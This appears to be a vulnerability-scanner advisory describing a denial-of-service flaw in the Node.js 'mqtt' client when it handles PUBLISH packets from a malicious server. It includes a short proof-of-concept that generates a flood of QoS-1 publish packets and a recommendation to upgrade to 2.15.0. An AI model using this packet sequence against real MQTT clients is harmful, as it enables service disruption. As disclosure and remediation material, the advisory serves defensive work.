QID 981046

Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

## Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.
```
var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
packets.push(
mqttp.generate({
cmd:'publish',
topic:Buffer.from('hello'),
payload:Buffer.from('world'),
retain: false,
dup: false,
messageId: ++i,
qos: 1
})
)
}

```


## Recommendation

Update to version 2.15.0 or later.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.